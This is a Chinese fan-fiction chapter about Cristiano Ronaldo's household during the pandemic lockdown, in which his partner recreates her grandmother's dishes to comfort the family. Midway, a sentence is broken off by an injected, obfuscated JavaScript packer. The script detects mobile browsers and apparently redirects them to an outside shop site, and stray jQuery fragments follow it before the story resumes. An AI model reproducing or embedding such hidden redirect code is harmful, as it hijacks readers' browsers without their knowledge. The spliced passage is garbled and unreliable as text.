马德拉远亲去世的消息，像一块冰冷的石头投入本已不平静的湖面，在别墅与世隔绝的寂静中激起沉重的回响。


    那一晚，克里斯蒂亚诺罕见的脆弱和依赖，让苏晚栀的心揪紧了。她什么也没问，只是用无声的拥抱和体温，给予他最原始的慰藉。


    第二天清晨，他醒来时已恢复了平日的沉静，眼底的血丝褪去，只是搂着她的手臂收得更紧了些，在她额头印下一个轻吻，低声道：“没事了。”


    但苏晚栀知道，有些东西不一样了。死亡的阴影如此贴近，让这场全球性的停摆不再仅仅是生活节奏的打乱，更增添了一层对生命无常的深刻体悟。克里斯蒂亚诺的训练依旧雷打不动，甚至更加刻苦，仿佛要用□□的疲惫来对抗内心的虚无和对外界失控的焦虑。但他待在健身房和后院的时间明显变长了，沉默的时候也更多了。


    这种压抑的气氛也影响了迷你罗。孩子虽然不懂外面世界的巨变，但能敏感地察觉到父亲身上不同寻常的低气压和家里过于安静的氛围，变得有些蔫蔫的，不像以前那样活泼好动。


    苏晚栀看着这对被无形枷锁困住的父子，心里一阵发紧。她知道自己必须做点什么，不能任由这种令人窒息的气氛蔓延下去。足球场暂时消失了，但生活不能停摆，尤其是这个家的心跳不能停。


    她想起了外婆。小时候，每当家里遇到难事，外婆从不说什么大道理，总是默默地钻进厨房，用一整天的时间，变魔术般做出一大桌子精致的菜肴。氤氲的蒸汽、食物的香气、家人围坐的热闹，总能神奇地驱散阴霾，让心重新变得踏实。食物，是最朴素也最强大的慰藉。


    一个念头在她心中萌生。


    第二天，苏晚栀起得很早。她翻出手机里存着的外婆的菜谱照片，那些手写的、有些模糊的字迹，此刻成了她的救命稻草。她仔细研究着，列出了一张长长的采购清单，然后打电话给负责采购的生活助理，详细交代了需要购买的、许多并不常见的中国食材和调料。助理虽然有些疑惑，但还是高效地完成了任务。


    当大包小包的食材被送到厨房时，克里斯蒂亚诺刚从健身房出来，擦着汗，看着堆满流理台的各色蔬菜、肉类和瓶瓶罐罐，愣了一下：“这是要做什么？”


    苏晚栀系上围裙，回头对他笑了笑，眼神明亮：“闭关修炼，总得找点事做。我打算……复刻我外婆的拿手菜。可能会失败很多次，你们得做好当小白鼠的心理准备。”


    克里斯蒂亚诺看着她眼中久违的、带着点挑战意味的光彩，紧绷的嘴角柔和了些许。他没说什么，只是走过去，洗了手，挽起袖子：“需要帮忙吗？”


    于是，隔离期的厨房，成了新的“战场”。苏晚栀对照着菜谱，笨拙地处理着陌生的食材，时而手忙脚乱，时而对着“少许”、“适量”这样的字眼发愁。克里斯蒂亚诺成了她的副手，负责洗菜、切配、递调料，偶尔在她差点把糖当盐放的时候及时制止。迷你罗也被这新奇的活动吸引，搬来小凳子站在一旁，好奇地看着，时不时帮忙递个盘子，厨房里渐渐有了久违的烟火气和笑闹声。


    第一天的成果是一盘色香味都略显诡异的“红烧肉”。肉切得大小不一，酱油似乎放多了，颜色深得发黑。克里斯蒂亚诺和迷你罗对视一眼，还是勇敢地夹起来尝了。克里斯蒂亚诺咀嚼得很慢，表情严肃得像在品鉴米其林三星，最后点点头，言简意赅地评价：“有嚼劲。”迷你罗则皱着小脸，吐了吐舌头：“好咸呀，晚栀！”


    苏晚栀自己尝了一口，也忍不住笑了。失败是意料之中，但这个过程本身，却奇妙地驱散了盘踞在家中的低气压。


    她没有气馁。第二天，第三天……她继续尝试。从简单的番茄炒蛋、清炒时蔬，到复杂的糖醋排骨、狮子头。失败是常态，厨房时常一片狼藉，但每一次小小的进步——比如肉终于炖烂了，鱼没有煎破皮——都能带来巨大的成就感。克里斯蒂亚诺和迷你罗成了最忠实的也是被迫的品鉴官，从最初的“勇于尝试”到后来能提出“肉可以再嫩一点”、“醋好像多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967731|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了”这样具体的意见。


    在这个过程中，苏晚栀看到了克里斯蒂亚诺的另一面。这个在球场上追求极致完美、容不得半点瑕疵的男人，在厨房这个完全陌生的领域，却表现出了惊人的耐心和……笨拙的可爱。他会因为切洋葱辣到流泪而狼狈不堪，会不小心把面粉弄得到处都是，会在苏晚栀成功做出一道菜时，露出像赢得比赛一样真心实意的笑容，竖起大拇指：“厉害！”


    第十四天，苏晚栀挑战了她记忆中外婆的拿手菜，也是最复杂的一道——蟹粉狮子头。她花费了整整一个下午，小心翼翼地拆蟹粉，剁肉馅，搅拌上劲，团成丸子，慢火煨炖。当那道色泽金黄、香气四溢的狮子头端上餐桌时，连她自己都有些不敢相信。


    克里斯蒂亚诺和迷你罗早已坐好，眼巴巴地看着。他尝了一口，细细品味，然后抬起头，看着紧张等待评价的苏晚栀，绿棕色的眼眸在灯光下闪着光，非常认真地说：“这是我吃过最好的狮子头。” 顿了顿，他补充道，“比我在澳门米其林餐厅吃的还好。”


    苏晚栀知道这绝对是夸张的赞美，但心里还是像被蜜糖填满了一样。迷你罗也吃得津津有味，小嘴塞得鼓鼓囊囊。


    那天晚上，饭桌上的气氛格外温馨。窗外，疫情下的都灵依旧寂静无声，但别墅里，灯火可亲，饭菜飘香。克里斯蒂亚诺的话比平时多了些，甚至讲起了他刚去曼联时，因为语言不通闹出的笑话。迷你罗被逗得咯咯直笑。


    饭后，克里斯蒂亚诺主动帮忙收拾碗筷。在厨房的水槽边，他站在苏晚栀身边，看着她仔细地冲洗着盘子，忽然低声说：“谢谢。”


    苏晚栀侧头看他。


    他目光落在哗哗流淌的水柱上，声音很轻：“这几天……比进球难多了。”他顿了顿，转过头，深深地看着她，“但也……更重要。”


    他没有说更多，但苏晚栀明白他的意思。谢谢她，用十四道或许并不完美、却充满心意的菜肴，守住了这个特殊时期里，一个家应有的温度和心跳。